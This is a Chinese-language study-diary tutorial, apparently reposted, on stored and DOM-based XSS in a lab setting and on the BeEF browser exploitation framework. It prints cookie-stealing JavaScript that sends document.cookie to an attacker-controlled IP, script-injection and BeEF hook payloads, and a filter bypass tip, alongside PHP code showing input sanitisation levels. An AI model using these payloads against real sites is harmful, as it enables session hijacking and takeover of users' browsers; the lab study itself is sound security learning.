小白日記49:kali滲透測試之Web滲透-XSS(三)-存儲型XSS、DOM型XSS、神器BEFF


存儲型XSS與DOM型XSS

XSS原理

存儲型XSS

1、可長期存儲於服務器端

2、每次用戶訪問都會被執行js腳本,攻擊者只需偵聽指定端口

#攻擊利用方法大體等於反射型xss利用

##多出現在留言板等位置

*推薦使用burpsuite

 

a、觀察返回結果,是否原封不動地返回輸入數據?是否有其他標簽  

js代碼通過留言板存儲在服務器中,所以每次點擊留言板鏈接,都會彈出xss彈窗

 

 

b、測試加載攻擊者控制的服務器中的js文件

#啟動apache2【默認偵聽80端口】

a.js  【盜取客戶端cookie信息,並把它上傳到攻擊者控制的服務器的PHP文件】

1 var img = new Image();
2 img.src = "http://192.168.56.102:88/cookies.php?cookie="+document.cookie;

***默認在客戶端進行長度的限制,可用burpsuite進行繞過或直接修改HTML代碼中的長度限制  【安全性好的,同時在客戶端跟服務器端進行長度限制】

<script src="http://192.168.56.102/a.js"></script>

 

###使用nc演示效果,偵聽88端口,提交成功/刷新頁面,即可成功獲得cookie  

 

 

代碼審計  【以下代碼只是對輸入數據進行過濾】

low

 1  <?php
 2 
 3 if(isset($_POST['btnSign']))
 4 {
 5 
 6    $message = trim($_POST['mtxMessage']);
 7    $name    = trim($_POST['txtName']);
 8    
 9    // Sanitize message input
10    $message = stripslashes($message);
11    $message = mysql_real_escape_string($message);
12    
13    // Sanitize name input
14    $name = mysql_real_escape_string($name);
15   
16    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
17    
18    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
19    
20 }
21 
22 ?> 

medium  【Name輸入框輸出結果:還是原型,但js腳本已是普通文本(目前理想的過濾方法);Message中還存在】

 1  <?php
 2 
 3 if(isset($_POST['btnSign']))
 4 {
 5 
 6    $message = trim($_POST['mtxMessage']);
 7    $name    = trim($_POST['txtName']);
 8    
 9    // Sanitize message input
10    $message = trim(strip_tags(addslashes($message)));//addslashs():增加反斜線;strip_tags():過濾HTML標簽;
11    $message = mysql_real_escape_string($message);
12    $message = htmlspecialchars($message);  //進行html編碼,<>會被編碼
13     
14    // Sanitize name input
15    $name = str_replace('<script>', '', $name);//刪除<script>,********可用拆分繞過
16    $name = mysql_real_escape_string($name);
17   
18    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
19    
20    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
21    
22 }
23 
24 ?> 

high

 1  <?php
 2 
 3 if(isset($_POST['btnSign']))
 4 {
 5 
 6    $message = trim($_POST['mtxMessage']);
 7    $name    = trim($_POST['txtName']);
 8    
 9    // Sanitize message input
10    $message = stripslashes($message);
11    $message = mysql_real_escape_string($message);
12    $message = htmlspecialchars($message);
13    
14    // Sanitize name input
15    $name = stripslashes($name);
16    $name = mysql_real_escape_string($name); 
17    $name = htmlspecialchars($name);
18   
19    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
20    
21    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
22    
23 }
24 
25 ?> 

 

DOM型XSS

一套js和其他語言都可以調用的標准的API

#本質上跟反射型中利用src的方法一樣,只是調用的函數不一樣而已

<script>
var img = document.createElement("img");
img.src = "http://192.168.56.102:88/cookies.php?cookie="+escape(document.cookie);
</script>

 

BEFF

BeEF是目前歐美最流行的web框架攻擊平台,它的全稱是 the Browser exploitation framework project。

可用於生成、交互payload【內含大量模塊,payload】

ruby編寫

服務器端:管理hooked客戶端

客戶端:運行於客戶端瀏覽器的JavaScript腳本

瀏覽器攻擊面

應用普遍轉移到B/S架構,瀏覽器成為統一客戶端程序

大部分需要結合社會工程學方法對瀏覽器進行攻擊

攻擊瀏覽器用戶

通過注入的JS腳本,利用瀏覽器攻擊其他網站

 攻擊手段

利用網站xss漏洞實現攻擊

誘使客戶端訪問含有hooked的偽造站點

結合中間人攻擊注入hooked腳本

 常見用途

鍵盤記錄器

 

網絡掃描

瀏覽器信息收集

綁定shell

與metasploit集成

 

a、默認登錄賬號密碼beff/beff

b、<script src="http://127.0.0.1:3000/hook.js"></script>

 

 c、模塊

1、Browser  瀏覽器類型(可得cookie,OS等信息)

【點擊對應模塊即可使用,響應速度比較慢,綠色為適用;橙色也是可用,但是會被客戶端使用者發現;紅色可能不可用;灰色未知是否可用】

2、Exploits 漏洞利用模塊

3、Network  【可用作僵屍機】

 

 

4、Persistence  當頁面被關閉(主機未離線),仍可對hooked客戶端進行操作【持久hooked,建議當一台主機受害后,馬上進行該操作】

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM